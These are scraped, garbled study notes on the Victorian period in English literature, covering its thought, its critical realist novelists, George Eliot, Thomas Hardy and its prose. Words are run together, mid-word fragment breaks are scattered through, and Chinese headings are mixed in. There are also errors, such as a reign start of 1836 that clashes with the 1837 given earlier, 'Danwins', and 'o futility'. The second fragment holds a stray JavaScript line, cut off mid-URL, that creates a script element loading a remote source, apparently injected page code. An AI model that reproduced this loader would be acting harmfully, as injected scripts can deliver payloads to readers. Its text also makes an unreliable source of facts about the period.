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1、8.TheModernEchoofEnglishLiterature-VictorianPeriodVictorianEra:TheVictorianeraofBritishhistorywastheperiodofQueenVictoriasreignfrom20June1837untilherdeathon22January1901.Itwasalongperiodofpeace,prosperity,refinedsensibilitiesandnationalself-confidenceforBritain.Somescholarsdatethebeginningoftheperio
2、dintermsofsensibilitiesandpoliticalconcernstothepassageoftheReformAct1832.varscript=document.createElement(script);script.src=http:/ Victorian Period (维多利亚时期)本章概述一. 维多利亚时代英国的政治/经济/历史/文化背景.二.诗歌/散文/小说在创作思想上的进步和创作技巧上的改革.三.主要作家与作品.文学史分析一. The time period :chronologically the Victorian period roughly coi
3、ncides with the reign of Queen Victoria who ruled over England from 1836 to 1901 .二. The thoughts :1.The influence of science and technology :A.Ideologically , the Victorians experienced fundamental changes . The rapid development of science and technology shook peoples religious convictions .The re
4、ligious collision continued and was intensified .B.Danwins The Origin of Species and The Descent of Man shook the theoretical basis of the traditional faith .2. The utilitarianism :A.Utilitarianism was widely accepted and practiced . Almost everything was put to the test by the criterion o futility
5、.B. This theory held a special appeal to the middle-class industrialists.三. The literary forms :1. The novels :A. The critical realistic novelists :a. Among the famous novelists of the time were the critical realists like Charles Dickens , Thackeray , Charlotte Bronte , Emily Bronte , Mrs. Gaskell a
6、nd Anthony Trollope , etc .b. They carried their duty forward to the criticism of the society and the defence of the mass . They shared one thing in common ,that is, they were all concerned about the fate of the common people . in the last few decades there were also George Eliot , the pioneering wo
7、man who , according to D.H. Lawrence , was the first novelist that started putting all the actions inside B. The modern novelists :a. George Eliot , according to D.H. Lawrence , was the first novelist that :started putting all the actions inside . b. Thomas Hardy , that Wessex man who not only continued to expose and criticize all sorts of social iniquities , but finally came to question and attack the Victorian conventions and morals .2. The prose :A. The features :The Victorian age also produced a host of great prose writers , many of them joined forces with the cr
